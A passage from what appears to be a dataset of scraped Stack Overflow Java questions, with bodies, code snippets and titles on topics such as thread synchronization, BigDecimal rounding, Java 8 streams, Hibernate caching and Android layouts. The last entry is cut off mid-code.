this : I 've heard that synchronized is only syntactic sugar . But I ca n't seem to achieve a successful result without using it . What am I missing ?",package threadtest ; public class Main { static int i=0 ; static Object lock=new Object ( ) ; private static class Incrementer extends Thread { @ Override public void run ( ) { while ( true ) { synchronized ( lock ) { if ( i > =10000 ) break ; i++ ; System.out.println ( i ) ; } } } } public static void main ( String [ ] args ) { new Incrementer ( ) .start ( ) ; new Incrementer ( ) .start ( ) ; new Incrementer ( ) .start ( ) ; new Incrementer ( ) .start ( ) ; new Incrementer ( ) .start ( ) ; new Incrementer ( ) .start ( ) ; } },Is 'synchronized ' really just syntactic sugar ? +Java,"I was reading about Inner class in Learning Java . I found this codeAfter compiling , javap 'Animal $ Brain ' gives output aswhich explains how the inner class gets the reference to its enclosing instance in the inner class constructor . But when I define the inner class as private like thisthen after compiling , javap 'Animal $ Brain ' gives the output asSo why is the output different ? Why is the inner class constructor not shown ? In the latter case also , the inner class is getting the reference of enclosing class instance .",class Animal { class Brain { } } Compiled from `` Animal.java '' class Animal $ Brain { final Animal this $ 0 ; Animal $ Brain ( Animal ) ; } class Animal { private class Brain { } } Compiled from `` Animal.java '' class Animal $ Brain { final Animal this $ 0 ; },Inner Class in Java +Java,I read few topics about sdk manger and java issues but my problem does n't correspond to any.When i 'm launching SDK manager.exe I get as output : As I was thinking that it was a Java issue I 've launched sdk\tools\libs\find_java.exe ( the .bat returns a blank line ) I get as output : I really do n't understand why this flashplayerplugin is coming in the output and crashing the program .,flashplayerplugin flashplayerpluginC : \Program Files\Java\jdk1.7.0_17\bin\java.exe,Java SDK Manager Crashes with `` flashplayerplugin '' in the command line output +Java,"In the following inline conditionals , one might expect an integer and a double to be printed , respectively : Instead they are both printed as doubles when occurring together : Why are numbers auto-cast when occurring with other numbers in inline conditionals ? Edit : If this is occurring because System.out.println is overloaded what is the case for : outputs :","System.out.println ( true ? 0 : 0.0 ) ; System.out.println ( false ? 0 : 0.0 ) ; System.out.println ( true ? new Integer ( 0 ) : new Double ( 0.0 ) ) ; System.out.println ( true ? 0 : `` '' ) ; 0.0 0.0 0.0 0 list.add ( true ? 0 : 0.0 ) ; list.add ( false ? 0 : 0.0 ) ; list.add ( true ? new Integer ( 0 ) : new Double ( 0.0 ) ) ; list.add ( true ? 0 : `` '' ) ; System.out.println ( list ) ; [ 0.0 , 0.0 , 0.0 , 0 ]",Why does an inline conditional in Java auto-cast numbers ? +Java,"I 'm trying to solve the Project Euler # 97 problem . I do n't want to look on the web because they give directly the solution.Here 's the exercise : The first known prime found to exceed one million digits wasdiscovered in 1999 , and is a Mersenne prime of the form 2^6972593−1 ; it contains exactly 2,098,960 digits . Subsequently other Mersenneprimes , of the form 2^p−1 , have been found which contain more digits.However , in 2004 there was found a massive non-Mersenne prime whichcontains 2,357,207 digits : 28433×2^7830457+1.Find the last ten digits of this prime number.So , I tried this : Obviously that does not work : How should I approach this problem ( I 'm really stuck ) ? ( please do n't give the solution , just hints ) Thanks","public static void main ( String [ ] args ) { BigInteger i = new BigInteger ( `` 28433 '' ) .multiply ( new BigInteger ( String.valueOf ( Math.pow ( 2 , 7830457 ) ) ) .add ( new BigInteger ( `` 1 '' ) ) ) ; String s = i.toString ( ) ; System.out.println ( s.substring ( s.length ( ) -10 , s.length ( ) ) ) ; } Exception in thread `` main '' java.lang.NumberFormatException : For input string : `` Infinity ''",Project Euler 97 +Java,"Our project does some Java bytecode instrumentation . And we stumbled upon some strange behavior . Suppose the following code snippet : Oracle 's javac compiles the above into the following bytecode : and Eclipse 's compiler into : As you can see , Oracle compiler produces `` dup '' after `` new '' , whereas Eclipse does n't . Which is totally correct in this use case , as newly created Integer instance is not used at all , so no `` dup '' is required.My questions are : Is there some overview of differences between different compilers ? An article/blog post ? Can I safely conclude , that if there is no `` dup '' between `` new '' and `` invokespecial '' then object is not used after initialization ?",public void a ( ) { new Integer ( 2 ) ; } 0 : new # 2 ; //class java/lang/Integer 3 : dup 4 : iconst_2 5 : invokespecial # 3 ; //Method java/lang/Integer . `` < init > '' : ( I ) V 8 : pop 9 : return 0 : new # 15 ; //class java/lang/Integer 3 : iconst_2 4 : invokespecial # 17 ; //Method java/lang/Integer . `` < init > '' : ( I ) V 7 : return,Differences in java bytecode produced by Oracle 's and Eclipse 's compilers +Java,"I 'm building a Spring Data REST / Spring HATEOAS based application and I 'm attempting to following the principles of DDD outlined here ( and elsewhere ) : BRIDGING THE WORLDS OF DDD & REST - Oliver GierkeIn particular the concept of aggregates and complex state changes via dedicated resources . Also avoid using HTTP PATCH or PUT for ( complex ) state transitions of your business domain because you are missing out on a lot of information regarding the real business domain event that triggered this update . For example , changing a customer ’ s mailing address is a POST to a new `` ChangeOfAddress '' resource , not a PATCH or PUT of a “ Customer ” resource with a different mailing address field value.What I 'm struggling with is a means of enforcing this while allowing cosmetic changes to the aggregate root.Using this simplified example : What is the best/correct way to allow a cosmetic change ( e.g . update comment ) but but prevent changes that directly update the child collection ? The only thing I can think of doing if having the setter throw an exception if there is an attempt to modify the child collection .","@ Entitypublic class Customer { private @ Id @ GeneratedValue ( strategy = GenerationType.AUTO ) Long id ; private String name ; private String comment ; @ Access ( AccessType.PROPERTY ) @ OneToMany ( cascade = CascadeType.ALL , orphanRemoval = true ) private Set < Address > addresses = new HashSet < > ( ) ; ... getters and setters public void addAddress ( Address address ) { addresses.add ( address ) ; ... custom code to raise events etc } } public interface Customer extends CrudRepository < Customer , Long > { }",Spring Data Rest - How to prevent PUT/PATCH updates to child entities of aggregate root +Java,"I want to create a calendar with Java 8 . So far I have this : which prints the days of the current month ( for example May ) .How can I determine that 1 is Sunday , 2 is Monday , 3 is Tuesday , ... , 8 is Sunday ( next week ) , etc . ?","YearMonth yearMonthObject = YearMonth.of ( year , month ) ; int daysOfCurrentMonth = yearMonthObject.lengthOfMonth ( ) ; int i = 1 ; ArrayList < Integer > Dayes = new ArrayList < Integer > ( ) ; for ( i=1 ; i < =daysOfCurrentMonth ; i++ ) { Dayes.add ( i ) ; } Dayes.forEach ( value - > System.out.print ( value ) ) ;",Determine which day of week is each date of the month +Java,"I have a problem grouping two values with Java 8.My main problem is about grouping two fields , I group correctly one field called getNameOfCountryOrRegion ( ) but now I am interested in groupingBy another field that is called leagueDTO as well.And the following class : The result will be grouped by nameOfCountryOrRegion and leagueDTO .","Map < String , List < FullCalendarDTO > > result = countryDTOList.stream ( ) .collect ( Collectors.groupingBy ( FullCalendarDTO : :getNameOfCountryOrRegion ) ) ; public class FullCalendarDTO { private long id ; private TeamDTO localTeam ; private TeamDTO visitorTeam ; private LocationDTO location ; private String leagueDTO ; private String timeStamp ; private String nameOfCountryOrRegion ; }",Grouping objects by two fields using Java 8 +Java,"String De-duplication : Strings consume a lot of memory in any application.Whenever the garbage collector visits String objects it takes note of the char arrays . It takes their hash value and stores it alongside with a weak reference to the array . As soon as it finds another String which has the same hash code it compares them char by char.If they match as well , one String will be modified and point to the char array of the second String . The first char array then is no longer referenced anymore and can be garbage collected.String Pool : All strings used by the java program are stored here . If two variables are initialized to the same string value . Two strings are not created in the memory , there will be only one copy stored in memory and both will point to the same memory location.So java already takes care of not creating duplicate strings in the heap by checking if the string exists in the string pool . Then what is the purpose of string de-duplication ? If there is a code as followstwo strings are created in memory even though they are same . I can not think of any scenario other than this where string de-duplication is useful . Obviously I must be missing something . What I am I missing ? Thanks In Advance",String myString_1 = new String ( `` Hello World '' ) ; String myString_2 = new String ( `` Hello World '' ) ;,Why String Deduplication when we have String Pool +Java,"I tried to create a custom controller service by using this guide . It is worked perfectly in nifi 1.9.2 version . But when I try with NIFI 1.11.3 version , I 'm getting the following issue . I googled it , But could n't find a way to fix that . Could someone please help me ?",[ INFO ] Found a dependency on version 1.11.3 of NiFi API [ ERROR ] Could not generate extensions ' documentationorg.apache.maven.plugin.MojoExecutionException : Failed to create Extension Documentation at org.apache.nifi.NarMojo.generateDocumentation ( NarMojo.java:596 ) at org.apache.nifi.NarMojo.execute ( NarMojo.java:499 ) at org.apache.maven.plugin.DefaultBuildPluginManager.executeMojo ( DefaultBuildPluginManager.java:137 ) at org.apache.maven.lifecycle.internal.MojoExecutor.execute ( MojoExecutor.java:210 ) at org.apache.maven.lifecycle.internal.MojoExecutor.execute ( MojoExecutor.java:156 ) at org.apache.maven.lifecycle.internal.MojoExecutor.execute ( MojoExecutor.java:148 ) at org.apache.maven.lifecycle.internal.LifecycleModuleBuilder.buildProject ( LifecycleModuleBuilder.java:117 ) at org.apache.maven.lifecycle.internal.LifecycleModuleBuilder.buildProject ( LifecycleModuleBuilder.java:81 ) at org.apache.maven.lifecycle.internal.builder.singlethreaded.SingleThreadedBuilder.build ( SingleThreadedBuilder.java:56 ) at org.apache.maven.lifecycle.internal.LifecycleStarter.execute ( LifecycleStarter.java:128 ) at org.apache.maven.DefaultMaven.doExecute ( DefaultMaven.java:305 ) at org.apache.maven.DefaultMaven.doExecute ( DefaultMaven.java:192 ) at org.apache.maven.DefaultMaven.execute ( DefaultMaven.java:105 ) at org.apache.maven.cli.MavenCli.execute ( MavenCli.java:956 ) at org.apache.maven.cli.MavenCli.doMain ( MavenCli.java:288 ) at org.apache.maven.cli.MavenCli.main ( MavenCli.java:192 ) at sun.reflect.NativeMethodAccessorImpl.invoke0 ( Native Method ) at sun.reflect.NativeMethodAccessorImpl.invoke ( NativeMethodAccessorImpl.java:62 ) at sun.reflect.DelegatingMethodAccessorImpl.invoke ( DelegatingMethodAccessorImpl.java:43 ) at java.lang.reflect.Method.invoke ( Method.java:498 ) at org.codehaus.plexus.classworlds.launcher.Launcher.launchEnhanced ( Launcher.java:282 ) at org.codehaus.plexus.classworlds.launcher.Launcher.launch ( Launcher.java:225 ) at org.codehaus.plexus.classworlds.launcher.Launcher.mainWithExitCode ( Launcher.java:406 ) at org.codehaus.plexus.classworlds.launcher.Launcher.main ( Launcher.java:347 ) at org.codehaus.classworlds.Launcher.main ( Launcher.java:47 ) Caused by : java.lang.NullPointerException at org.apache.nifi.NarMojo.getRequiredServiceDefinitions ( NarMojo.java:708 ) at org.apache.nifi.NarMojo.writeDocumentation ( NarMojo.java:634 ) at org.apache.nifi.NarMojo.writeDocumentation ( NarMojo.java:605 ) at org.apache.nifi.NarMojo.generateDocumentation ( NarMojo.java:577 ) at org.apache.nifi.NarMojo.execute ( NarMojo.java:499 ) at org.apache.maven.plugin.DefaultBuildPluginManager.executeMojo ( DefaultBuildPluginManager.java:137 ) at org.apache.maven.lifecycle.internal.MojoExecutor.execute ( MojoExecutor.java:210 ) at org.apache.maven.lifecycle.internal.MojoExecutor.execute ( MojoExecutor.java:156 ) at org.apache.maven.lifecycle.internal.MojoExecutor.execute ( MojoExecutor.java:148 ) at org.apache.maven.lifecycle.internal.LifecycleModuleBuilder.buildProject ( LifecycleModuleBuilder.java:117 ) at org.apache.maven.lifecycle.internal.LifecycleModuleBuilder.buildProject ( LifecycleModuleBuilder.java:81 ) at org.apache.maven.lifecycle.internal.builder.singlethreaded.SingleThreadedBuilder.build ( SingleThreadedBuilder.java:56 ) at org.apache.maven.lifecycle.internal.LifecycleStarter.execute ( LifecycleStarter.java:128 ) at org.apache.maven.DefaultMaven.doExecute ( DefaultMaven.java:305 ) at org.apache.maven.DefaultMaven.doExecute ( DefaultMaven.java:192 ) at org.apache.maven.DefaultMaven.execute ( DefaultMaven.java:105 ) at org.apache.maven.cli.MavenCli.execute ( MavenCli.java:956 ) at org.apache.maven.cli.MavenCli.doMain ( MavenCli.java:288 ) at org.apache.maven.cli.MavenCli.main ( MavenCli.java:192 ) at sun.reflect.NativeMethodAccessorImpl.invoke0 ( Native Method ) at sun.reflect.NativeMethodAccessorImpl.invoke ( NativeMethodAccessorImpl.java:62 ) at sun.reflect.DelegatingMethodAccessorImpl.invoke ( DelegatingMethodAccessorImpl.java:43 ) at java.lang.reflect.Method.invoke ( Method.java:498 ) at org.codehaus.plexus.classworlds.launcher.Launcher.launchEnhanced ( Launcher.java:282 ) at org.codehaus.plexus.classworlds.launcher.Launcher.launch ( Launcher.java:225 ) at org.codehaus.plexus.classworlds.launcher.Launcher.mainWithExitCode ( Launcher.java:406 ) at org.codehaus.plexus.classworlds.launcher.Launcher.main ( Launcher.java:347 ) at org.codehaus.classworlds.Launcher.main ( Launcher.java:47 ),Could not generate extensions ' documentation when creating custom controller service in NIFI +Java,"I understood that if a String is initialized with a literal then it is allotted a space in String Pool and if initialized with the new Keyword it create a String 's object . But I am confused with a case which is written below.My question is what if a String is created with the new keyword and then it value is updated with a literal ? E.g.then what if write the next statement as below.So my question is,1 Will it create a String literal in a String Pool or it will update the value of that object ? 2 If it creates a new literal in String Pool what will be happened to the currently existed object ? Will it be destroyed or it will be there until the garbage collector is called . This is a small string if the string is say of the thousands of characters then I am just worried about the space it uses . So my key question is for the space . Will it immediately free the space from the heap after assigning the literal ? Can anyone explain what what value goes where from the first statement to the second and what will happened to the memory area ( heap and String Pool ) .",String s = new String ( `` Value1 '' ) ; -- Creates a new object in heap space s = `` value2 '' ;,Java String Immutability storage when String object is changed +Java,"Little question about the output generated from the javap command regarding the constant pool.When javap prints the pool it defines string constants as Asciz strings , which I understand means null terminated Ascii : This would imply that the length of the string is not known , and to parse you would read each byte until you encounter the null.However , the length of constant pool string constants is defined by the two bytes preceding the string and there is no null appended . ( Constant pool specification ) .Does javap define strings as Asciz incorrectly or does Asciz have another meaning I 'm not aware of ?",const # 20 = Asciz hello world ;,Javap Asciz Strings +Java,"When coding in Kotlin/Java , I stumbled onto something rather odd while using casting and generics.It seems to be possible to have the type system believe a list is of the type List < Foo > , while it is actually a List < Object > .Can anyone explain to me why this is possible ? Here is an example in both Kotlin and Java of the issue : Example in KotlinExample in Java",fun < T > test ( obj : Any ) : List < T > { val ts = ArrayList < T > ( ) ts.add ( obj as T ) return ts } fun < T > test2 ( obj : Any ) : T { return obj as T } fun < T > test3 ( obj : Any ) : List < T > { val ts = ArrayList < T > ( ) ts.add ( test2 ( obj ) ) return ts } fun main ( args : Array < String > ) { val x = test < Double > ( 1 ) // Returns a list of Integers and does n't error println ( x ) val y = test2 < Double > ( 1 ) // Casts the Int object to a Double . println ( y ) val z = test3 < Double > ( 1 ) // Returns a list of Integers and does n't error . println ( z ) } public class Test { public static < T > List < T > test ( Object obj ) { ArrayList < T > ts = new ArrayList < > ( ) ; ts.add ( ( T ) obj ) ; return ts ; } public static < T > T test2 ( Object obj ) { return ( T ) obj ; } public static < T > List < T > test3 ( Object obj ) { ArrayList < T > ts = new ArrayList < > ( ) ; ts.add ( test2 ( obj ) ) ; return ts ; } public static void main ( String [ ] args ) { List < Double > x = test ( 1 ) ; // Returns a list of Integers and does n't error System.out.println ( x ) ; // Double y = test2 ( 1 ) ; // Errors in java an Integers can not be converted into a Double . // System.out.println ( y ) ; List < Double > z = test3 ( 1 ) ; // Returns a list of Integers and does n't error . System.out.println ( z ) ; } },Java & Kotlin casting with generics . Losing typesafety +Java,I am thinking of using BigDecimal to compare two currency values rounded to 2 digits . For example I expect the following to yield 0 because I 'm comparing something that should round to 0.02 with something that is 0.02 . But it yields -1 ! ! Is there a right way to do this ? This should also work for larger numbers like 123.45 vs 123.4534 ... which should yield 0 when `` compareTo '' is used.I 've tried using math context but it doesnt seem elegant ... is there a correct way ? AND THE SOLUTION IS :,"BigDecimal spread = new BigDecimal ( 0.01934 ) ; spread.setScale ( 2 , RoundingMode.HALF_EVEN ) ; System.out.format ( `` 0.0193 ? 0.02 = % d\n '' , spread.compareTo ( new BigDecimal ( 0.02 ) ) ) ; BigDecimal spread = new BigDecimal ( 0.01934 ) .setScale ( 2 , RoundingMode.HALF_EVEN ) ; BigDecimal loSpread = new BigDecimal ( 0.02 ) .setScale ( 2 , RoundingMode.HALF_EVEN ) ; System.out.format ( `` 0.0193 ? 0.02 = % d\n '' , spread.compareTo ( loSpread ) ) ;",BigDecimal in Java +Java,"I only have a date string , and I want to see the time in other TimeZone by it . So I did it like that : This is the current TimeZone in my computer : The result that the code ran was that : The result is wrong , I had the right result by changing the TimeZone to `` America/Denver '' in my computer , and I saw that : I do n't know why it likes that ? But if I had a Date not a date String , I do that : System.out.println ( `` America/Denver —— `` + getFormatedDateString ( `` America/Denver '' ) ) ; The result likes that : This result is right.So I was confused , I could't find the problem when I just have a date string and I want to know the time of other TimeZone . Could any body help me ?",String dateStr = `` 2014-05-15 16:14:58 PM '' ; SimpleDateFormat sdf = new SimpleDateFormat ( `` yyyy-MM-dd HH : mm : ss a '' ) ; sdf.setTimeZone ( TimeZone.getTimeZone ( `` America/Denver '' ) ) ; Date date = sdf.parse ( dateStr ) ; System.out.println ( date ) ; SimpleDateFormat sdf1 = new SimpleDateFormat ( `` yyyy-MM-dd HH : mm : ss a '' ) ; System.out.println ( sdf1.format ( date ) ) ; Fri May 16 06:14:58 CST 2014 2014-05-16 06:14:58 AM America/Denver —— 2014-05-15 02:14:58 AM public static String getFormatedDateString ( String _timeZone ) { TimeZone timeZone = null ; if ( StringUtils.isEmpty ( _timeZone ) ) { timeZone = TimeZone.getDefault ( ) ; } else { timeZone = TimeZone.getTimeZone ( _timeZone ) ; } SimpleDateFormat sdf = new SimpleDateFormat ( `` yyyy-MM-dd HH : mm : ss a '' ) ; sdf.setTimeZone ( timeZone ) ; // TimeZone.setDefault ( timeZone ) ; return sdf.format ( new Date ( ) ) ; } -- -- -- Asia/Shanghai -- -- -- 2014-05-15 16:32:04 PM ( current date ) America/Denver —— 2014-05-15 02:32:04 AM,"Get the time of other TimeZone by date string , the result is wrong" +Java,"I 've been running some microbenchmarks , and have come across an odd issue . I 'm using java version `` 1.8.0_131 '' with the default compiler options.Given a definitionaccessing field directly ( state.field ) generatesBut accessing finalField directly ( state.finalField ) generatesWhy bytecode calls Object- > getClass ( ) at a direct field access explains that the call to getClass is just to check that state is not null , but then the compiler has inlined the value of the field.I might reasonably expect that substituting later versions of JavaState with different field values would result in other code seeing the change without recompilation , but this inlining prevents that . And my benchmarks show that if it is done in the name of performance it is n't working ; at least on my benchmark Raspberry Pi , accessing finalField is 5-10 % slower than accessing field.What is the rationale for inlining the value of the final field ?",public class JavaState { public String field = `` hello '' ; public final String finalField = `` hello '' ; } ALOAD 1GETFIELD JavaState.field : Ljava/lang/String ; ALOAD 1INVOKEVIRTUAL java/lang/Object.getClass ( ) Ljava/lang/Class ; POPLDC `` hello '',Why does the Java compiler inline access to non-static final fields ? +Java,"If I have : Once this code is executed , which of the 4 instances are still in memory ? I know .recycle ( ) instructs the native code to deallocate all resources to that object , but there 's no guarantee of when that happens.The reason I 'm asking , is let 's look at the following loop : This I assume will eventually crash the app ( out of memory ) ? If so , how should this loop be rewritten ? ( If I 'm using bitmap to animate and display changed state ) .",Bitmap bitmap = Bitmap.create ( .. ) ; // instance abitmap = Bitmap.create ( ... ) ; // instance bbitmap = null ; bitmap = Bitmap.create ( ... ) ; // instance cbitmap.recycle ( ) ; bitmap = Bitmap.create ( ... ) ; // instance dbitmap.recycle ( ) ; bitmap = null ; Bitmap bitmap = null ; while ( true ) { bitmap = Bitmap.create ( ... ) ; },Memory allocation in Java - Android +Java,"I am trying to use GQL to get some data back from the datastore . When I do a SELECT * FROM Kind request , it works and I get data back.However when I try : I get a disallowed literal error.I even tried to do it with quotations : but I get the same error.Has anyone run into this before ? Here is the code :","SELECT * FROM kind where num < 1234 SELECT * FROM kind where num < '1234 ' Query < Entity > query = Query.gqlQueryBuilder ( Query.ResultType.ENTITY , `` SELECT * FROM `` + kind + `` WHERE num < '100 ' '' ) .build ( ) ; QueryResults < Entity > results = datastore.run ( query ) ; while ( results.hasNext ( ) ) { Entity result = results.next ( ) ; myList.add ( result.getString ( `` num '' ) ) ;","GQL disallowed literal error , google datastore" +Java,"I am not certain how to set up the android side to deserialize this.This is my definition on the server : On the android side I have this to get the response : And here is what I use to process : This is an example of a response , printed out by OkHttp3 : And here is what I get in logcat , but I did cut out some of the data elements.This is the model on the android side : On the server side this is the model : It appears that it is n't turning the json into an object , but I do n't see why.UPDATESo I added @ Streaming with the @ GET and tried this , but there is no way for Okhttp3.Responsebody to work , as it wo n't compile .","@ GetMapping ( `` /quotes-reactive-paged '' ) fun getQuoteFlux ( @ RequestParam ( name = `` page '' ) page : Int , @ RequestParam ( name = `` size '' ) size : Int ) : Flux < Quote > { return quoteMongoReactiveRepository.retrieveAllQuotesPaged ( PageRequest.of ( page , size ) ) .delayElements ( Duration.ofMillis ( DELAY_PER_ITEM_MS.toLong ( ) ) ) } @ GET ( `` quotes-reactive-paged '' ) Observable < Quote > queryReactivePaging ( @ Query ( `` page '' ) int page , @ Query ( `` size '' ) int size ) ; mReactiveQuoteService.queryReactivePaging ( page , size ) .subscribeOn ( Schedulers.io ( ) ) .observeOn ( AndroidSchedulers.mainThread ( ) ) .map ( cityResponse - > { return cityResponse ; } ) .subscribeWith ( new DisposableObserver < Quote > ( ) { @ Override public void onNext ( Quote quote ) { if ( Build.VERSION.SDK_INT > = Build.VERSION_CODES.N ) { System.out.println ( quote.content ) ; reactiveList.setText ( reactiveList.getText ( ) + `` \n '' + quote.content ) ; } else { System.out.println ( quote.content ) ; reactiveList.setText ( reactiveList.getText ( ) + `` \n '' + quote.content ) ; } } @ Override public void onError ( Throwable e ) { System.out.println ( e ) ; } @ Override public void onComplete ( ) { System.out.println ( `` done '' ) ; } } ) data : { `` id '' : '' 1025 '' , '' book '' : '' El Quijote '' , '' content '' : '' -En efecto -dijo Sancho- , ¿qué es lo que vuestra merced quiere hacer en este tan remoto lugar ? '' } 05-04 21:41:58.056 13277-13338/reactive.android.cigna.com.reactiveexample D/OkHttp : < -- 200 OK http : //192.168.1.104:9094/quotes-reactive-paged ? page=3 & size=20 & username=demo ( 149ms ) transfer-encoding : chunked Access-Control-Allow-Origin : * Access-Control-Allow-Methods : GET , PUT , POST , DELETE , OPTIONS Access-Control-Allow-Headers : DNT , X-CustomHeader , Keep-Alive , User-Agent , X-Requested-With , If-Modified-Since , Cache-Control , Content-Type , Content-Range , Range Access-Control-Expose-Headers : DNT , X-CustomHeader , Keep-Alive , User-Agent , X-Requested-With , If-Modified-Since , Cache-Control , Content-Type , Content-Range , Range Content-Type : text/event-stream05-04 21:42:00.040 13277-13338/reactive.android.cigna.com.reactiveexample D/OkHttp : data : { `` id '' : '' 1052 '' , '' book '' : '' El Quijote '' , '' content '' : '' -¡Ta , ta ! -dijo Sancho- . ¿Que la hija de Lorenzo Corchuelo es la señora Dulcinea del Toboso , llamada por otro nombre Aldonza Lorenzo ? '' } data : { `` id '' : '' 1053 '' , '' book '' : '' El Quijote '' , '' content '' : '' -Ésa es -dijo don Quijote- , y es la que merece ser señora de todo el universo . '' } data : { `` id '' : '' 1068 '' , '' book '' : '' El Quijote '' , '' content '' : '' Y , habiéndola escrito , se la leyó ; que decía ansí : '' } < -- END HTTP ( 10363-byte body ) 05-04 21:42:00.047 13277-13277/reactive.android.cigna.com.reactiveexample I/System.out : com.google.gson.JsonSyntaxException : java.lang.IllegalStateException : Expected BEGIN_OBJECT but was STRING at line 1 column 1 path $ 05-04 21:42:09.672 13277-13282/reactive.android.cigna.com.reactiveexample I/zygote : Do partial code cache collection , code=48KB , data=47KB public class Quote { public String id ; public String content ; public String book ; } data class Quote ( val id : String , val book : String , val content : String ) .subscribe ( new DisposableObserver < ResponseBody > ( ) { @ Override public void onNext ( ResponseBody responseBody ) {",Using retrofit2 and RxAndroid to get response from Spring WebFlux +Java,"Hibernate newbie here . From what i understand is that , first level cache is only available when a session is open . When session is closed , all cached entities in first level are evicted/removed . Is this correct ? I have a simple CRUD app developed in Java using the Hibernate framework . And every time my application starts , loads and executes its first query operation , the execution time is usually longer than the succeeding query operations . The first query usually takes 17ms to execute and succeeding are 1-2ms . My question is this , is this really the behavior of Hibernate upon the start of the application ? Is the data loaded from the first query operation stored in a cache somewhere ? ( Definitely not session cache because after executing my first query operation , session is closed right after ) Does eager loading affect this behavior ? I really have no clue where to begin since the Hibernate documentation did n't cover this . Correct me if I am wrong . I appreciate any help as I really do n't know where to begin reading about this.EDIT : For more info , here 's the hibernate statistic of the first and second query operations : First : Second : Same query execution but different execution time length .",100222 nanoseconds spent acquiring 1 JDBC connections ; 0 nanoseconds spent releasing 0 JDBC connections ; 23238430 nanoseconds spent preparing 3 JDBC statements ; 8333256 nanoseconds spent executing 3 JDBC statements ; 0 nanoseconds spent executing 0 JDBC batches ; 0 nanoseconds spent performing 0 L2C puts ; 0 nanoseconds spent performing 0 L2C hits ; 0 nanoseconds spent performing 0 L2C misses ; 40215588 nanoseconds spent executing 1 flushes ( flushing a total of 3 entities and 3 collections ) ; 135213 nanoseconds spent executing 1 partial-flushes ( flushing a total of 0 entities and 0 collections ) 168597 nanoseconds spent acquiring 1 JDBC connections ; 0 nanoseconds spent releasing 0 JDBC connections ; 2332976 nanoseconds spent preparing 3 JDBC statements ; 6427565 nanoseconds spent executing 3 JDBC statements ; 0 nanoseconds spent executing 0 JDBC batches ; 0 nanoseconds spent performing 0 L2C puts ; 0 nanoseconds spent performing 0 L2C hits ; 0 nanoseconds spent performing 0 L2C misses ; 1095389 nanoseconds spent executing 1 flushes ( flushing a total of 3 entities and 3 collections ) ; 17600 nanoseconds spent executing 1 partial-flushes ( flushing a total of 0 entities and 0 collections ),Hibernate - First query always loads longer +Java,"i want to add scrollview in my activity , i have tried to add scrollview dynamically but it throws me an exception . i am newbie in android , i dont know much about this , please look at the code : but the problem is whenever i launch my application it throws me an IllegatStateExceptionthat the child class has already parent . call removeChildfirst.here is my activity.xml","package com.example.ermanager ; import java.util.ArrayList ; import java.util.List ; import java.util.concurrent.ExecutionException ; import com.example.ermanager.R.drawable ; import android.annotation.SuppressLint ; import android.app.Activity ; import android.content.Context ; import android.content.Intent ; import android.graphics.Color ; import android.os.AsyncTask ; import android.os.Bundle ; import android.util.Log ; import android.view.Gravity ; import android.view.Menu ; import android.view.MenuItem ; import android.view.View.OnClickListener ; import android.widget.AdapterView ; import android.widget.ArrayAdapter ; import android.widget.Button ; import android.widget.CheckBox ; import android.widget.EditText ; import android.widget.ScrollView ; import android.widget.Spinner ; import android.widget.SpinnerAdapter ; import android.widget.Toast ; import android.os.Bundle ; import android.view.View ; import android.view.ViewGroup.LayoutParams ; import android.widget.LinearLayout ; import android.widget.TextView ; public class order extends Activity { String text ; private CheckBox chk ; List < String > orderList = new ArrayList < String > ( ) ; List < String > nameList = new ArrayList < String > ( ) ; List < String > priceList = new ArrayList < String > ( ) ; List < String > timeList = new ArrayList < String > ( ) ; String wname=null ; private AsyncTask < String , String , String > asyncTaskorder ; private AsyncTask < String , String , String > asyncTask ; private String response ; private static Context context ; @ Overrideprotected void onCreate ( Bundle savedInstanceState ) { super.onCreate ( savedInstanceState ) ; setContentView ( R.layout.activity_order ) ; wname =waiter.getWaiter ( ) ; Log.i ( `` tag '' , `` waiter name is `` +wname ) ; stopService ( new Intent ( getBaseContext ( ) , notifcationService.class ) ) ; GetDishesAsyncTask runner=new GetDishesAsyncTask ( ) ; //dummy username and password just to avoid errors , no need String userName= '' a '' ; String password= '' b '' ; asyncTask=runner.execute ( userName , password ) ; String asyncResultText ; try { asyncResultText = asyncTask.get ( ) ; response = asyncResultText.trim ( ) ; Log.i ( `` tag '' , `` dishes from server is `` +response ) ; //string prsing code started String name_string= '' '' ; String price_string= '' '' ; String time_string= '' '' ; int name_counter=0 ; int price_counter=0 ; int time_counter=0 ; char [ ] ch_resp = response.toCharArray ( ) ; //initial parsing for name sting ... assining values to name_string for ( int i=0 ; i < response.length ( ) ; i++ ) { if ( ch_resp [ i ] =='* ' & & name_counter==0 ) { name_counter=1 ; continue ; } if ( ch_resp [ i ] =='* ' & & name_counter==1 ) { break ; } if ( name_counter==1 ) { name_string=name_string+ch_resp [ i ] ; } } Log.i ( `` tag '' , `` first name array is `` +name_string ) ; //for price string response=response.replace ( `` * '' +name_string+ '' * '' , `` '' ) ; ch_resp = response.toCharArray ( ) ; for ( int i=0 ; i < response.length ( ) ; i++ ) { if ( ch_resp [ i ] == ' & ' & & price_counter==0 ) { price_counter=1 ; continue ; } if ( ch_resp [ i ] == ' & ' & & price_counter==1 ) { break ; } if ( price_counter==1 ) { price_string=price_string+ch_resp [ i ] ; } } Log.i ( `` tag '' , `` first lat array is `` +price_string ) ; response=response.replace ( `` & '' +price_string+ '' & '' , `` '' ) ; //initial parsing for time sting ... assining values to time_string ch_resp = response.toCharArray ( ) ; for ( int i=0 ; i < response.length ( ) ; i++ ) { if ( ch_resp [ i ] =='^ ' & & time_counter==0 ) { time_counter=1 ; continue ; } if ( ch_resp [ i ] =='^ ' & & time_counter==1 ) { break ; } if ( time_counter==1 ) { time_string=time_string+ch_resp [ i ] ; } } Log.i ( `` tag '' , `` first longg array is `` +time_string ) ; String temp= '' '' ; int count=0 ; char [ ] name_string1 = name_string.toCharArray ( ) ; char [ ] price_string1 = price_string.toCharArray ( ) ; char [ ] time_string1 = time_string.toCharArray ( ) ; //***** parsing code for names char msg ; // Log.i ( `` tag '' , name_string ) ; for ( int i=0 ; i < name_string1.length ; i++ ) { if ( name_string1 [ i ] == ' : ' ) { msg=name_string1 [ i ] ; Log.i ( `` tag '' , `` first time `` +msg+ '' found '' ) ; // alert ( `` first time `` +name_string1 [ i ] + '' found '' ) ; for ( int j=i+1 ; j < name_string1.length ; j++ ) { // alert ( `` in j loop , j at `` +name_string [ j ] ) ; if ( name_string1 [ j ] ! = ' : ' ) { // alert ( `` in temp if '' ) ; temp=temp+name_string1 [ j ] ; Log.i ( `` tag '' , `` now temp is '' +temp ) ; } else if ( name_string1 [ j ] == ' : ' ) { msg=name_string1 [ j ] ; Log.i ( `` tag '' , `` else satisfied `` +msg+ '' found '' ) ; Log.i ( `` tag '' , `` final name is `` +temp ) ; 